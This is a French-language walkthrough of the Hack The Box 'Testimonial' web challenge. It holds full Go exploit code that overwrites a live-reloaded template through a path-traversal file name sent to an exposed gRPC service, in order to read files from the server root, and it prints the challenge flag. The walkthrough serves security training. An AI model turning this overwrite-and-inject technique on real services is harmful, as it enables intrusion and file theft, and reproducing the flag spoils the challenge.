# Testimonial

**Catégorie:** Web\
**Difficulté:** easy\
**Flag:** HTB{w34kly\_t35t3d\_t3mplate5}

## Challenge

{% file src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2F801MNuqAGtksr70MEi2K%2Fweb_testimonial.zip?alt=media&token=1a4a64a8-19a9-4802-986d-c6aaf1626d16" %}

{% hint style="info" %}
#### Description

***

The challenge involves an recruitment page for "They Fray" and allows anyone to submit a testimonial. The webstack utilizes GoLang with chi/templ and is deployed via Air, which allows for live reloading of golang applications. Testimonials is a GRPC Microservice and stored/retrieved as files. Exploitation occours because the Testimonial microservice is exposed to end-users, which provides the ability to overwrite the golang files on the webservice. Due to air live reloading files, it is possible to inject arbituary code.
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker, disponible sur [Github](https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/web/\[Easy]%20Testimonial)
{% endhint %}

## Analyse globale

Le site est très simple, on a un formulaire et des card qui correspondes aux différents formulaires déjà soumis

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FP9ETwAMPvy8QBll4jWDY%2Fimage.png?alt=media&#x26;token=08e0bb06-fc86-4b9b-9f86-e550362e762b" alt=""><figcaption></figcaption></figure>

Concernant le code, on voit que l’on a 2 services qui écoutent

* Un service HTTP
* Un service GRPC

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FVZIFDPg2rBWZqqMQlLO7%2Fimage.png?alt=media&#x26;token=636769de-7231-485e-817d-c22e99144f88" alt=""><figcaption></figcaption></figure>

Dans **`/grpc.go`** il y a la fonction **`SubmitTestimonial`** qui permet d’enregistrer dans **`/public/testimonials/`** les formulaires reçus. Il faut noter que le nom du fichier est d’ailleurs le nom du customer

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2Fg7YXbhXsctUjMKJZ3L0j%2Fimage.png?alt=media&#x26;token=4eee791b-e0f3-432d-93d6-0583911a0429" alt=""><figcaption></figcaption></figure>

Dans **`/client/client.go`** on s’aperçoit que l’on a une restriction lorsque l’on soumet un formulaire, le nom du customer ne peut pas contenir n’importe quel caractère

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2Fez1JWiCkjQR7lBlhwAMS%2Fimage.png?alt=media&#x26;token=eb212c4e-027a-41a7-988a-ab1580e40046" alt=""><figcaption></figcaption></figure>

Seulement comme nous avons vu juste avant, le service GRPC ne contient pas ces restrictions lui-même, ce qu’il fait que **si l’on passe directement par lui et non par le service web, on peut choisir n’importe quel nom de fichier et écraser des fichiers existants**

***

## Exploitation

On commence par se connecter au service GRPC avec **`grpcurl`**

```
$ grpcurl --plaintext 94.237.53.3:31132 list
Failed to list services: server does not support the reflection API
```

Comme le service ne supporte pas la réflexion, la documentation nous dit que l’on peut fournir directement le fichier proto

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FiQMgZ9Q0yaMQR2eIXXBC%2Fimage.png?alt=media&#x26;token=14092ae5-04a8-4607-91fb-d8cada8956fc" alt=""><figcaption></figcaption></figure>

```
$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 list 
RickyService

$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 describe RickyService
RickyService is a service:
service RickyService {
  rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}
```

On peut maintenant appeler la fonction **`SubmitTestimonial`** avec notre payload

Pour ça, on va le faire en Go en reprenant le dossier **`/ptb/`** pour se connecter au serveur GPRC.

Concernant le payload, il faut simplement copier-coller **`/view/home/index.templ`** et remplacer **`fsys := os.DirFS("public/testimonials")`** par `**fsys := os.DirFS("/")**` ce qui permettra de lire tous les fichiers à la racine

Et enfin pour le nom ce sera **`../../view/home/index.templ`** pour remonter jusqu’au dossier du challenge puis redescendre jusqu’à **`index.templ`** pour l’écraser

{% code title="payload.templ" %}
```go
package home

import (
	"htbchal/view/layout"
	"io/fs"	
	"fmt"
	"os"
)

templ Index() {
	@layout.App(true) {
<nav class="navbar navbar-expand-lg navbar-dark bg-black">
  <div class="container-fluid">
    <a class="navbar-brand" href="/">The Fray</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
            aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarNav">
        <ul class="navbar-nav ml-auto">
            <li class="nav-item active">
                <a class="nav-link" href="/">Home</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Factions</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Trials</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Contact</a>
            </li>
        </ul>
    </div>
  </div>
</nav>

<div class="container">
  <section class="jumbotron text-center">
      <div class="container mt-5">
          <h1 class="display-4">Welcome to The Fray</h1>
          <p class="lead">Assemble your faction and prove you're the last one standing!</p>
          <a href="javascript:void();" class="btn btn-primary btn-lg">Get Started</a>
      </div>
  </section>

  <section class="container mt-5">
      <h2 class="text-center mb-4">What Others Say</h2>
      <div class="row">
          @Testimonials()
      </div>
  </section>

  <div class="row mt-5 mb-5">
    <div class="col-md">
      <h2 class="text-center mb-4">Submit Your Testimonial</h2>
      <form method="get" action="/">
        <div class="form-group">
          <label class="mt-2" for="testimonialText">Your Testimonial</label>
          <textarea class="form-control mt-2" id="testimonialText" rows="3" name="testimonial"></textarea>
        </div>
        <div class="form-group">
          <label class="mt-2" for="testifierName">Your Name</label>
          <input type="text" class="form-control mt-2" id="testifierName" name="customer"/>
        </div>
        <button type="submit" class="btn btn-primary mt-4">Submit Testimonial</button>
      </form>
    </div>
  </div>
</div>

<footer class="bg-black text-white text-center py-3">
    <p>&copy; 2024 The Fray. All Rights Reserved.</p>
</footer>
	}
}

func GetTestimonials() []string {
	fsys := os.DirFS("/")	
	files, err := fs.ReadDir(fsys, ".")		
	if err != nil {
		return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
	}
	var res []string
	for _, file := range files {
		fileContent, _ := fs.ReadFile(fsys, file.Name())
		res = append(res, string(fileContent))		
	}
	return res
}

templ Testimonials() {
  for _, item := range GetTestimonials() {
    <div class="col-md-4">
        <div class="card mb-4">
            <div class="card-body">
                <p class="card-text">"{item}"</p>
                <p class="text-muted">- Anonymous Testifier</p>
            </div>
        </div>
    </div>
  }
}
```
{% endcode %}

{% code title="solve.go" %}
```go
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"htbchal/pb"
)

func main() {
    // Lecture du contenu du fichier "payload.templ"
    content, err := ioutil.ReadFile("payload.templ")
    if err != nil {
        log.Fatalf("Erreur lors de la lecture du fichier: %v", err)
    }

    // Adresse du serveur gRPC
    serverAddress := "94.237.57.59:49450" // Remplacez par l'adresse de votre serveur gRPC

    // Connexion au serveur gRPC
    conn, err := grpc.Dial(serverAddress, grpc.WithInsecure())
    if err != nil {
        log.Fatalf("Impossible de se connecter au serveur: %v", err)
    }
    defer conn.Close()

    // Création d'un client gRPC
    client := pb.NewRickyServiceClient(conn)

    // Envoi du contenu du fichier via gRPC
    response, err := client.SubmitTestimonial(context.Background(), &pb.TestimonialSubmission{Customer: "../../view/home/index.templ", Testimonial: string(content)})
    if err != nil {
        log.Fatalf("Erreur lors de l'envoi du témoignage via gRPC: %v", err)
    }

    // Affichage de la réponse du serveur
    fmt.Println("Réponse du serveur gRPC:", response.Message)
}

```
{% endcode %}

Ce qui nous donne maintenant sur la page principale

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FJ0AKMB6yVcH8OQCbLzOL%2Fimage.png?alt=media&#x26;token=e6c0887a-9347-4d50-a23f-a32436b32962" alt=""><figcaption></figcaption></figure>
